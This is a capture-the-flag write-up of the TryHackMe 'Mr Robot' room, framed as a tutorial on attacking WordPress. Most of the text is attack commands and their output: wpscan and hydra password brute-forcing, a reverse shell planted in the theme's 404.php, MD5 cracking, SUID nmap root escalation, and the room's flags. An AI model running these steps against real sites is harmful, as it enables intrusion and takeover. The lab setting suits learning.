How To Hack a Wordpress Site → Mr Robot THM

trustie_rity
7 min readJan 10, 2024

Wordpress is free and open-source content management system (CMS) mostly used by people to build personal websites or blogs. How would an attacker go about attacking your wordpress site? In this article I am going to show my methodology on how i would conduct a successful hack against 1your wordpress site. For demo purposes we will use a vulnerable machine in a tryhackme room called Mr Robot.

Lets start with a scan to identify what services are open on the target IP.

PORT    STATE  SERVICE  VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd

There is a website on port 80. Going on to directory brute-force we are able to see some interesting endpoints.

/.hta                 (Status: 403) [Size: 213]
/.htaccess (Status: 403) [Size: 218]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.184.159/0/]
/admin (Status: 301) [Size: 235] [--> http://10.10.184.159/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.184.159/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.184.159/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.184.159/blog/]
/css (Status: 301) [Size: 233] [--> http://10.10.184.159/css/]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.184.159/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.184.159/feed/]
/images (Status: 301) [Size: 236] [--> http://10.10.184.159/images/]
/image (Status: 301) [Size: 0] [--> http://10.10.184.159/image/]
/Image (Status: 301) [Size: 0] [--> http://10.10.184.159/Image/]
/index.html (Status: 200) [Size: 1077]
/index.php (Status: 301) [Size: 0] [--> http://10.10.184.159/]
/intro (Status: 200) [Size: 516314]
/js (Status: 301) [Size: 232] [--> http://10.10.184.159/js/]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.184.159/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.184.159/]
/phpmyadmin (Status: 403) [Size: 94]
/rdf (Status: 301) [Size: 0] [--> http://10.10.184.159/feed/rdf/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.184.159/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.184.159/feed/]

On endpoint http://10.10.253.66/robots.txt We get the following:

User-agent: *
fsocity.dic
key-1-of-3.txt

We get the first flag and a dictionary file! The file fsocity.dic is very large, lets make it a little small by removing duplicates and all that. Basically we are cleaning it up a little bit.

➜  mr_robot ls
fsocity.dic gobuster key-1-of-3.txt key-2-of-3.txt nmap_scan note password.raw-md5
➜ mr_robot cat fsocity.dic | wc -l
858160
➜ mr_robot cat fsocity.dic | sort | uniq | wc -l
11451
➜ mr_robot cat fsocity.dic | sort | uniq > sorted_dic

Trying to access /dashboard we are redirected to /wp-login.php on the website. This shows that the site is indeed a wordpress site. We can use wpscan to bruteforce the credentials using the wordlist we found on the web.

We need to guess the username, and we find out that user elliot exists based on the error messages returned on the webpage. This is highly a guess work based on the hacking play mr robot that everyone should watch :)

➜  mr_robot wpscan --api-token $wpscan_token --url  10.10.253.66 --wp-content-dir wp-admin --usernames elliot --passwords sorted_dic
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team
Version 3.8.24
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.[+] URL: http://10.10.253.66/ [10.10.253.66]
[+] Started: Wed Jan 10 09:39:18 2024
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache
| - X-Mod-Pagespeed: 1.9.32.3-4523
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://10.10.253.66/robots.txt
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.253.66/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] The external WP-Cron seems to be enabled: http://10.10.253.66/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.3.1 identified (Insecure, released on 2015-09-15).
| Found By: Emoji Settings (Passive Detection)
| - http://10.10.253.66/c82fcd8.html, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.3.1'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.10.253.66/c82fcd8.html, Match: 'WordPress 4.3.1'
|
| [!] 110 vulnerabilities identified:
...
[+] WordPress theme in use: twentyfifteen
| Location: http://10.10.253.66/wp-admin/themes/twentyfifteen/
| Last Updated: 2023-11-07T00:00:00.000Z
| [!] The version is out of date, the latest version is 3.6
| Style URL: http://10.10.253.66/wp-content/themes/twentyfifteen/style.css?ver=4.3.1
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.253.66/wp-content/themes/twentyfifteen/style.css?ver=4.3.1, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:06 <==================================================================> (137 / 137) 100.00% Time: 00:00:06
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - elliot / ER28-0652
All Found
Progress Time: 00:00:31 <============================================== > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: elliot, Password: ER28-0652
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 2
| Requests Remaining: 23
[+] Finished: Wed Jan 10 09:40:11 2024
[+] Requests Done: 203
[+] Cached Requests: 6
[+] Data Sent: 50.39 KB
[+] Data Received: 14.087 MB
[+] Memory used: 302.309 MB
[+] Elapsed time: 00:00:52

Found a valid combination Username: elliot, Password: ER28-0652. Now we can login with this credentials.
Using hydra we would do something like ...
hydra -l Elliot -P sorted_dic 10.10.238.90 http-post-form "/wp-login.php:username=elliot&password=^PASS^:The password you entered for the username Elliot "
We can now go to edit Themes, and add our reverse shell to a page like 404.php so that every time we try to access a page that is not there we get a reverse shell sent to us.
Try accessing a non existent page like http://10.10.253.66/wp-admin/as and on our listener we will get a reverse shell sent to us.

➜  mr_robot nc1
listening on [any] 1337 ...
connect to [10.9.168.173] from (UNKNOWN) [10.10.253.66] 57097
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
06:48:08 up 31 min, 0 users, load average: 0.00, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$

Now on the home directory we find some interesting things.

daemon@linux:/$ cd home
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot
daemon@linux:/home/robot$ ls
key-2-of-3.txt password.raw-md5
daemon@linux:/home/robot$ cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
daemon@linux:/home/robot$ ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

We find an Md5 password hash that we can read. We can crack it a test for password reuse.

➜  mr_robot j hash --format=Raw-Md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-01-10 09:52) 2.325g/s 94660p/s 94660c/s 94660C/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
➜ mr_robot cat hash
c3fcd3d76192e4007dfb496cca67e13b

We can now authenticate as user robot and access the user flag.

daemon@linux:/home/robot$ su - robot
Password:
robot@linux:~$ ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

The next thing to do is privilege escalation. I like doing this the manual way first before using automation scripts.

robot@linux:/$ crontab -l
no crontab for robot
robot@linux:/$ env
TERM=xterm
SHELL=/bin/bash
USER=robot
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
MAIL=/var/mail/robot
PWD=/
LANG=en_US.UTF-8
HOME=/home/robot
SHLVL=2
LOGNAME=robot
_=/usr/bin/env
OLDPWD=/var
robot@linux:/$ sudo -l
[sudo] password for robot:
Sorry, user robot may not run sudo on linux.
robot@linux:/$ find / -perm /4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

We get a non usual SUID binary nmap. Lets look at GTFObins. We can now follow the steps there to get root on the box.

robot@linux:/$ id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:/$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# cd /root
# ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
# file firstboot_done
firstboot_done: empty

With this we successfully finish this piece. Go have fun with this box on tryhackme platform.

--

--

trustie_rity

Offensive Penetration Tester | M4lici0s Lif3 | Find video walkthroughs on my yt channel: https://www.youtube.com/@trustie_rity